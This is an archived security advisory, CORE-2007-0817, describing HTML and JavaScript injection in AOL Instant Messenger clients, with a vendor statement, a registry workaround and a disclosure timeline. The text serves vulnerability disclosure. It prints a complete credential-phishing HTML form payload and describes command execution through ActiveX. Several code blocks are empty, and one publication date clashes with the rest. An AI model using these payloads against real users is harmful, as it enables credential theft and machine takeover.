

CORE-2007-0817: Remote Command execution, HTML and JavaScript injection vulnerabilities in AOL's Instant Messaging software

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2007-09/msg00344.html>

- *From:* Core Security Technologies Advisories <advisories@xxxxxxxxxxxxxxxxxx>
 - *Date:* Tue, 25 Sep 2007 13:20:55 -0300
-

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Core Security Technologies CoreLabs Advisory

<http://www.coresecurity.com/corelabs>

Remote command execution, HTML and JavaScript injection vulnerabilities in AOL's Instant Messaging software

Advisory Information

Title: Remote Command execution, HTML and JavaScript injection vulnerabilities in AOL's Instant Messaging software

Advisory ID: CORE-2007-0817

Advisory URL:

<http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=1924>

Date published: 2009-09-25

Date of last update: 2007-09-25

Vendors contacted: AOL LLC.

Release mode: Forced Release

Vulnerability Information

Class: Design Error

Remotely Exploitable: Yes

Locally Exploitable: No

Bugtraq ID: 25659

CVE Name: CVE-2007-4901

Vulnerability Description

AOL Instant Messenger ("AIM", <http://www.aim.com>) is an instant messaging

CORE-2007-0817: Remote Command execution, HTML and JavaScript injection vulnerabilities in AOL's Instant Messaging software

application that allows its users to communicate in real time via text, voice, and video over the Internet. It is maintained by AOL LLC. AIM Pro is AOL's business-oriented version of AIM targeted for professional use with an emphasis on "business-grade" security and integration with email client and other productivity applications

(<http://aimpro.premiumservices.aol.com/>) AIM Lite, as defined in its website (<http://x.aim.com/laim/>), is a reference application used to test new technology also developed by AOL and available for the public in the form of a "light IM client".

A vulnerability was discovered in these three popular versions of AOL Instant Messaging software, AIM 6.1 (and 6.2 beta), AIM Pro and AIM Lite, which expose workstations running the IM clients and their users to several immediate high-risk attack vectors. To support rendering of HTML content, the vulnerable IM clients use an embedded Internet Explorer server control. Unfortunately they do not properly sanitize the potentially malicious input content to be rendered and, as a result, an attacker might provide malicious HTML content as part of an IM message to directly exploit Internet Explorer bugs or to target IE's security configuration weaknesses.

In particular this attack vector exposes workstations to:

- - Direct remote execution of arbitrary commands without user interaction.
- - Direct exploitation of IE bugs without user interaction. For example, exploitation bugs that normally require the user to click on a URL provided by the attacker can be exploited directly using this attack vector.
- - Direct injection of scripting code in Internet Explorer. For example, remotely injecting JavaScript code into the embedded IE control of the AIM client.
- - Remote instantiation of Active X controls in the corresponding security zone.
- - Cross-site request forgery and token/cookie manipulation using embedded HTML.

Vulnerable packages

AIM 6.1 (6.1.41.2)

AIM 6.2 (6.2.32.1)

AIM Pro

AIM Lite

Non-vulnerable packages

AIM 6.5 (6.5.3.12) - <http://beta.aol.com/projects.php?project=aim6>

AIM Express - <http://www.aim.com/aimexpress.adp>

Classic AIM 5.9 - http://www.aim.com/get_aim/win/other_win.adp

Vendor Information, Solutions and Workarounds

AOL LLC Vendor Statement;

Overview

AOL has become aware of security vulnerabilities in several AIM instant messaging clients. Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary commands on a user's workstation. AOL has deployed host side filtering on the AIM servers to block this potentially malicious content from being sent to AIM clients.

Affected Products and Applications

- * AIM 6.1
- * AIM 6.2
- * AIM Pro
- * AIM Lite

Solutions

1. Users of AIM can upgrade to the latest version of the AIM beta client at beta.aol.com.

Acknowledgments

AOL would like to thank Core Security Technologies for responsibly reporting this issue to AOL and for working with AOL on testing and mitigating these issues.

Other workarounds (un-official)

Workaround #1: Users running AIM on Microsoft Windows XP SP2 or Windows Server 2003 SP1 may implement Microsoft's "Internet Explorer Local Machine Zone Lockdown" recommendations to mitigate risk. This will not fix the reported bugs but will reduce the risk of exploitation significantly.

To enable Local Machine Zone Lockdown for your AIM client, go to the following registry key:

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LocalMachine_Lockdown
```

Add a REG_DWORD value to this key named as the AIM client application (for example, aim.exe) and set it to 1. Any other setting for this value will disable Local Machine Zone Lockdown for the application.

For further details about how to configure this feature read Microsoft's Internet Explorer Local Machine Zone Lockdown recommendation at:

<http://technet.microsoft.com/enus/library/bb457150.aspx#EHAA>

Credits

This vulnerability was discovered by Lucas Lavarello from the CORE Security Consulting Services (CORE SCS) team.

Technical Description / Proof of Concept Code

The standard protocol that AIM clients use to communicate is called OSCAR (Open System for Communication in Realtime), which is a closed protocol also used by AOL's secondary Instant Messaging client, ICQ (I Seek You). On top of the OSCAR protocol, AIM clients have implemented support for enhanced message types that use features provided by the HTML (Hyper Text

Markup Language) in order to, for example, provide AIM users with the possibility of exchanging text messages with specific font formats or colors. AIM 6.1, AIM 6.2 (beta), AIM Pro and AIM Lite have embedded an Internet Explorer server control in the message display window in order to facilitate the parsing and displaying of HTML controls. It is a common practice for Windows applications to reuse Microsoft Internet Explorer's HTML parsing objects included in the mshtml.dll library instead of using a homebrew HTML parser. Several programming frameworks, including MFC (Microsoft Foundation Classes), provide practical ways of embedding such controls through classes like CHtmlEditView or CHtmlEditDoc.

Some of the advantages of using MSHTML are that it provides a particular, feature-rich and somewhat complete support for DHTML and also that it is easier to host Microsoft ActiveX Controls. However, in the context of this advisory, such advantages may end up becoming security problems due to design flaws and implementation bugs.

There are two particular characteristics in the implementation of the described functionality that turn AIM's highly flexible message-content features into high-risk attack vectors for its users.

First, the vulnerable IM clients do most of the sanitizing/filtering and encoding of HTML content on outbound messages, thus a malicious attacker with the ability to bypass outbound HTML filtering can send any type of HTML content to other IM clients.

A handful of publicly available and well-known IM clients permit to send un-sanitized data to any other client that supports the same communications protocol including the vulnerable AIM 6.1, AIM 6.2, AIM Pro and AIM Lite clients.

Second, although there are some defensive mechanisms implemented in the vulnerable clients these are insufficient to properly handle messages with potentially malicious content. Input validation of inbound messages appears to be taking place but can be easily circumvented by an attacker. As a result, the entire attack surface of MSHTML is exposed to remote IM peers. By having a way of sending data straight to the MSHTML library, attackers could abuse such high-risk attack vector to:

- - Execute arbitrary shell commands in the victim's workstation.
- - Direct the embedded IE to perform arbitrary HTTP requests (CSRF)
- - Include HTML controls (links, images, forms&) in IM text messages in order to trick users into revealing sensitive information or performing harmful actions against their accounts/workstation/etc.
- - Run JavaScript code within IE to enhance the attacks mentioned above.
- - Instantiate ActiveX controls, which attackers could use to target vulnerabilities in the ActiveX objects themselves or use their functionality to, for example, read arbitrary files from the victim's file system or even execute arbitrary shell commands in the victim's workstation.
- - Directly attack vulnerable versions of Internet Explorer in user workstations. This is a typical client-side attack scenario and could lead to the remote execution of arbitrary code in the victim's workstation. In this scenario "one-click" IE bugs (exploitation requires user assistance) become "zero-click" bugs (exploitation does not require

user interaction).

AOL's "Classic AIM 5.9" is an official alternative client for nostalgic users and is not vulnerable due to the fact that instead of using MSHTML to render HTML it appears to include limited rendering functionality either provided by a third party library or homebrew code. Although there is no guarantee that its implementation lacks vulnerabilities, in our tests it did prevent the attack vectors described in this advisory. So is the case for AOL's AOL 6.5.3.12 which although it is embedding an Internet Explorer server control in the message window, could not be exploited during our tests.

AOL's online AIM Express web client which is written in ASP.NET and also appears to be taking the necessary defensive measures required to prevent any of these problems from taking place.

Proof of concept snippets

The following examples provide code snippets that should serve as proof-of-concept code to demonstrate some of the problems that arise from the issue reported. The snippets have been arranged according to their risk level, in increasing order (lower risk first), with the intention of making this process more self-explanatory. In order for these snippets to work, they must be sent within the contents of a standard instant message, but using a client that will not encode message contents on output:

Using HTML controls in order to trick victims into revealing sensitive information or do harmful actions against their accounts/workstations or to force outbound HTTP requests (CSRF).

The following proof-of-concept code was successfully tested on AIM Pro. Other vulnerable clients need some tweaking in order to get it to work. The code uses <hr>, <h2>, <form> and <input> tags to trick the victim into believing that an AIM disconnection took place. It then requests the victim to type in the user credentials and to press the Reconnect (submit) button in order to send the credentials to the attacker. In this case, the form is submitted to "<http://localhost>

--- begin code ---

```
<hr><h2>SERVICE UNAVAILABLE</h2><hr>Your connection to AIM has been interrupted. Please type in your credentials in order to reconnect. Thank you.<br><form method=GET action=http://localhost>Login: <input type=text name=login><br>Password: <input type=text name=password><br><input type=submit value=Reconnect></form><br><hr>
```

--- end code ---

This is simply one example of exploitation using only embedded HTML. There are plenty of HTML controls that could be used in similar exploitation scenarios.

Using scripting languages to enhance an attack

As mentioned in the beginning of the technical details section, we identified among all the vulnerable clients what appeared to be an existing defensive measure (or a functional characteristic with a side-effect) meant to prevent attackers from inserting malicious JavaScript statements within message contents. When sending JavaScript statements inside <script> tags within a message, the script tags appear to be filtered by the receiving client upon display (therefore not executing the JavaScript statements). However, this was easily circumvented by embedding JavaScript statements inside tags, as in the following example:

The following code does not work:

<script>alert(I have executed javascript in your computer)</script>

The following code *does* work:

Note that even though the different proof-of-concept snippets provided in this advisory use tags to execute JavaScript, the problem must not be thought of as circumscribed to message contents with embedded tags only. JavaScript statements may also be executed through the use of other HTML controls and some of the attack vectors that we mention do not even rely on JavaScript for successful exploitation.

The following proof-of-concept code will display a prompt box to the victim, requesting to type in the victim's AIM credentials. It will look authentic due to the fact that the message box is not part of the text message window:

-- begin code --

-- end code --

Once the victim types-in her/his password, an alert message box will be displayed showing the entered password. Attackers could easily retrieve passwords and other security-sensitive data by using the same techniques used to exploit Cross Site Scripting vulnerabilities to steal browser cookies.

Instantiating ActiveX controls and taking over the victim s workstation

Another way of enhancing an attack could rely on using ActiveX controls installed on the target system. For that, the attacker needs the ability to instantiate arbitrary ActiveX controls using an IM message content constructed to accomplish such purpose. We successfully used this attack vector in AIM 6.1, AIM 6.2beta and AIM Lite in order to get immediate and instant access to the victim s workstation. This attack vector increases considerably the severity of the problems found, turning the affected clients into a doorway to the user s computer and ultimately providing

attackers with ways of executing arbitrary commands.

Apparently, AIM Pro is the only client that runs the Internet Explorer server control in a "protected" security zone, where the victim is prompted with the typical message box that says:

"An ActiveX control on this page might be unsafe to interact with other parts of the page. Do you want to allow this interaction?"

The choice of the user will affect the entire instance of the application and be applied to any other existing/future message windows (as well as potentially any other locations where the Internet Explorer server control is used.)

Attackers could use JavaScript to instantiate ActiveX controls in order to either exploit client-side vulnerabilities of the ActiveX objects themselves or to use ActiveX functionality as an aid to exploit other bugs.. As the following proof-of-concept snippet shows, an attacker can successfully instantiate the "Shell.Application" object that is included in the Microsoft Windows OS installation and use it to execute any arbitrary command on the victim s workstation.

As previously mentioned, in three of the four affected versions of the product, the attack is straight forward and no interaction with the victim is required. Such clients appear to be running Internet Explorer control in the Local Machine Security Zone.

-- begin code --

```

```

-- end code --

The proof-of-concept code from above will run an instance of Microsoft Windows command line tool, executing the pause command. Upon receipt, it will instantly show a blank command window in the victim s workstation. An attacker may easily abuse this issue to gain complete control over the victim s machine with the privileges of the user running AIM.

Attacking vulnerable versions of Internet Explorer controls

This scenario is just a clear-cut client-side attack vector and would rely on any unpatched security vulnerability in Internet Explorer or the ActiveX controls it hosts. An embedded HTML URI can direct the IE server control to automatically visit a previously setup site that delivers malicious content to exploit known Internet Explorer vulnerabilities. In this case, the AIM clients identified as vulnerable in this advisory play the role of exposing their users to attacks without requiring user intervention to allow/disallow access to the rogue website. This attack scenario is functionally equivalent to a user of Internet Explorer clicking on a URL and visiting a malicious site.

Additional Information and resources

AOL's AIM clients

AIM Pro: <http://aimpro.premiumservices.aol.com/>

AIM 6.2: <http://beta.aol.com/projects.php?project=aim6>

AIM 6.1: http://www.aim.com/get_aim/win/latest_win.adp

AIM Lite: <http://x.aim.com/laim/>

AIM 5.9: http://www.aim.com/get_aim/win/other_win.adp

AIM 6.5: <http://beta.aol.com/projects.php?project=aim6>

Embedding IE

Introduction to ActiveX Controls:

<http://msdn2.microsoft.com/en-us/library/aa751972.aspx>

Reusing MSHTML:

<http://msdn2.microsoft.com/en-us/library/bb508516.aspx>

Internet Explorer Local Machine Zone Lockdown

<http://technet.microsoft.com/en-us/library/bb457150.aspx#EHAA>

<http://technet2.microsoft.com/windowsserver/en/library/aebcfc94-25d5-4f41-93cc-7fb6e031de401033.mspx?mfr=tr>

About URL Security Zones

<http://msdn2.microsoft.com/en-us/library/ms537183.aspx>

Report Timeline

2007-08-21: Initial report to AOL Product Vulnerabilities Team (PVT) requesting acknowledgement within 2 business days, advisory publication date tentatively set to September 24th.

2007-08-22: Received an acknowledgement and PGP public key from AOL's PVT. AOL's PVT indicates that upon reception of vulnerability details and bug confirmation, expectations should be to allow for two business weeks for an estimated timeline to resolution. Core's PGP/GPG key requested.

2007-08-23: Draft advisory and GPG public key sent to AOL's PVT.

2007-08-31: Acknowledgement from AOL confirming the existence of the vulnerabilities in AOL's IM clients. AOL indicates that the development and QA teams are working on fixes with an estimated release scheduled for mid-October. Additionally, note that one of the IM clients requires coordination with a third-party.

2007-09-04: Reply from Core, acknowledging the previous email from AOL PVT. Release date for the advisory set to October 16th in accordance to AOL's estimation. Core indicates that there is no indication of exploitation "in the wild" but that these bugs are considered extremely critical due to the simple way they can be found and exploited and the large population of vulnerable systems.

2007-09-10: Email from the AOL PVT indicating that the bugs are considered extremely critical by AOL as well and expressing their intention to provide weekly status updates. An estimated date for fixes will be forthcoming as soon as they have one. In the meantime, a server-side mitigation mechanism has been deployed and Core is invited to test it.

2007-09-10: Core acknowledges reception of AOL's last email. We've taken

up the offer to test the mitigation mechanism and although it did prevent the original proof-of-concept code snippets from working we found that attacks are still possible with minor tweaks to the original code. Tests were performed using only one of the 4 vulnerable clients, the others are deemed equally vulnerable.

2007-09-12: Core email to AOL notifying them that information about the bug may have been disclosed to public security mailing lists by an unknown third-party [1]. Precise technical details were not given and therefore it is difficult to assess if the bug disclosed by the third-party is directly related to those reported by Core. There are still no indications of exploitation of these bugs "in the wild". Nonetheless, it is reasonable to think that the independent discovery and exploitation of the bugs reported by Core is now imminent, should that happen. Core's security advisory will be published the upcoming week (tentatively Monday Sept. 17th 2007) as a Forced Release.

2007-09-14: Email from AOL PVT indicating that AOL is in correspondence with the third-party and received additional information about the bug, leading the AOL team to think that the publicly disclosed vulnerability is not similar in nature to those reported by Core. The public vulnerability will be fixed in the AIM clients in mid-October. AOL's PVT does not feel that this public disclosure warrants disclosure of Core's advisory. The team could not verify that the mitigation mechanism deployed on the server can still be bypassed as indicated by Core in a previous email. The team requests the exact version numbers of the AIM clients used, proof of concept code and/or a description of how to reproduce the test.

2007-09-14: Email sent to AOL indicating that a second post with additional information about the bug has been made by the third-party [2]. Core requests further details about this publicly disclosed bug and asks AOL to provide the analysis that led the AOL team to conclude that it is of a different nature of those reported by Core. This email includes detailed step-by-step instructions on how to bypass the server-side filtering mechanism accompanied with the exact version number of the AIM client used (6.1.41.2) and the sample code. Core's own analysis of current publicly available information indicates that the bug is indeed of similar nature than those reported in Core's advisory and that active exploitation of the bug is likely to happen in a matter of days (not several weeks). Thus, in accordance to Core's analysis the most responsible course of action is to clarify the nature of the AIM problems and provide the vulnerable users with enough information to assess and mitigate the risk. Barring any further indication from AOL to support the theory of these being bugs of different nature, Core will be ready to publish its security advisory the week of Sept. 17th to 21st.

2007-09-18: Email sent to AOL PVT indicating that Core now considers the information about the reported bugs to be publicly available. The fact that the third-party reporters did not find (or did not publish) a way to exploit it remotely in a more reliable manner does not prevent others from doing so. Core's team believes that the publicly available information about this bug is confusing and does not help vulnerable users understand the risks they are exposed to. Therefore, unless AOL provides new information or analysis to change Core's analysis, Core will publish the security advisory to provide vulnerable users with the details needed to

assess risk and devise their own mitigation mechanisms until official fixed versions of the clients are made available.

2007-09-19: Email sent to AOL indicating that information about the reported vulnerabilities is now part of Mitre CVE dictionary, the US National Vulnerability Database [3], the Securityfocus.com vulnerability Database [4] and the Secunia.com website [5], therefore Core considers that any security-aware party (either good or bad intended) can now easily figure out a remote exploitation method. In fact, several messages in AOL's technical forums seem to indicate that users of AIM clients are experiencing AIM "bugs" or "problems" related to the issues reported in Core's advisory [6],[7] and that AOL itself seems to be using HTML/JavaScript injection and instantiation of third-party ActiveX controls [8]. Therefore, to provide accurate information that helps security practitioners understand the risks and devise mitigation strategies for affected end users and organizations Core has decided to release this security advisory on Monday Sept. 24th. AOL's statement regarding release of fixed clients and any other mitigation mechanism is expected by COB Friday Sept. 21st. In the meantime, Core researchers will try to find suitable workarounds to prevent exploitation.

2007-09-20: Email from AOL PVT indicating that the bug posted publicly is different than those reported by Core because it is based upon another application within the AIM client that allows a limited number of characters that can be put into a alert message within a script tag, "<script>alert("Test")</script>". This message will only work when sending a IM to someone who is using one of the AIM 6.x clients and does not have the sender focused within their AIM client. When sending a message to an AIM user who does not have the sender focused in their AIM client, a notification window will pop up informing the recipient that they have just received a message from another AIM user. It is this application in the AIM 6.x clients that is not properly parsing the messages for this type of html tag and pop's up an alert window. The other public problems pointed out by Core posted in AOL's message boards are not caused by AIM clients. AIM client 6.5.3.12 (currently in Beta) fixes the reported problems and is available for public download (and for testing). AOL remains unsuccessful trying to verify that the serverside filtering mechanism can be bypassed and requests additional data (exact version numbers of the IE on the target system and AIM clients used). AOL requests to delay publication of the security advisory until the date previously agreed on (October 16th, 2007) the release of fixes is still on schedule for mid-October.

2007-09-20: Email sent to AOL PVT stating that Core's analysis indicates that the publicly disclosed bug and those reported by Core are of the same and that in fact the public one is just a trivial variation of one of the attack scenarios explicitly described by Core. Further details provided about how to test AOL's server-side filtering mechanism (although we don't think the versions of IE and AIM on the source and target system are relevant to test server-side filtering). Core points out that the messages on AOL's message boards disclose specific non-malicious HTML code that is currently being injected into clients, including JavaScript and instantiation of ActiveX controls and that should be considered directly related to the bugs reported because they demonstrate that arbitrary HTML

content can be injected into AIM. Core has confirmed that AIM 6.5.3.12 is not vulnerable to attack (although extensive regression testing of all possible attack patterns was not performed).

Given all the publicly known facts Core deems active exploitation imminent and therefore still plans to release the security advisory on Monday Sept. 24th in order to provide precise details to help users become aware of the risk they are exposed to and to deploy countermeasures to prevent active exploitation.

2007-09-21: Email received from AOL PVT requesting a conference call to discuss the issues reported and how to handle them.

2007-09-21: Conference call between Core Security advisories team, Core's bug discoverer and AOL PVT. AOL reported that the current version of AIM 6.5 addresses the bugs reported and that AOL could replicate the test of the service-side filters and had fixed the bypass. Availability of fixed release versions of AIM is still scheduled for mid-October. Core reports that AIM v6.5.3.12 indeed seems to have fixed the problem (although full regression was not performed) and that the publicly known information about HTML injection in AIM clients makes it trivial for attackers to figure out variations of the published code that can succeed against vulnerable systems. Core will re-test the server-side filtering mechanism. The final security advisory will be sent to AOL by COB September Friday 21st and the publication date moved to Tuesday, September 25th, 2007 to incorporate AOL's official statements regarding fixes and mitigation and final rests of the interim server-side filters. The publication date is final.

2007-09-21: Email sent to AOL PVT indicating the server-filtering has improved considerably but can still be bypassed. Other variations of the same type of attack should be blocked.

2007-09-21: Email sent to AOL PVT indicating use of Internet Explorer Local Machine Zone Lockdown recommendation may be a suitable workaround.

2007-09-24: Email from AOL PVT including AOL's official statement regarding this report (included in the "Vendor Information, Solutions and Workarounds" section).

2007-09-25: CoreLabs Security Advisory CORE-2007-0817 published

References

[1] AIM Arbitrary HTML Display in Notification Window

shell at dotshell dot net

<http://www.securityfocus.com/archive/1/479199>

[2] AIM Local File Display in Notification Window

shell at dotshell dot net

<http://www.securityfocus.com/archive/1/479435>

[3] <http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-4901>

[4] <http://www.securityfocus.com/bid/25659>

[5] <http://secunia.com/advisories/26786/>

[6] "AIM 6.1 problems" thread on AOL s AIM Support & more technical forum

http://messageboards.aol.com/aol/en_us/articles.php?boardId=565563&articleId=16537

[7] "IM problems" thread in AOL s AIM 6 Technical Issues forum

http://messageboards.aol.com/aol/en_us/articles.php?boardId=565563&articleId=16537

[8] "Copyright and Confidentiality notice?" thread on AOL s AIM 6

Technical Issues forum

http://messageboards.aol.com/aol/en_us/articles.php?boardId=567774&articleId=2400

About Corelabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.

We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:

<http://www.coresecurity.com/corelabs/>

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing.

Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at <http://www.coresecurity.com>.

DISCLAIMER

The contents of this advisory are copyright (c) 2007 CORE Security Technologies and (c) 2007 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

PGP/GPG KEYS This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.7 (MingW32)

iD8DBQFG+TVmyNibggitWa0RAqU2AKCkKyHFV++w+C2hkI5WAAPFAgxDfgCgo/Ep3iXG4YKx/yIyimYHwGzOg8o=

=uUHp

-----END PGP SIGNATURE-----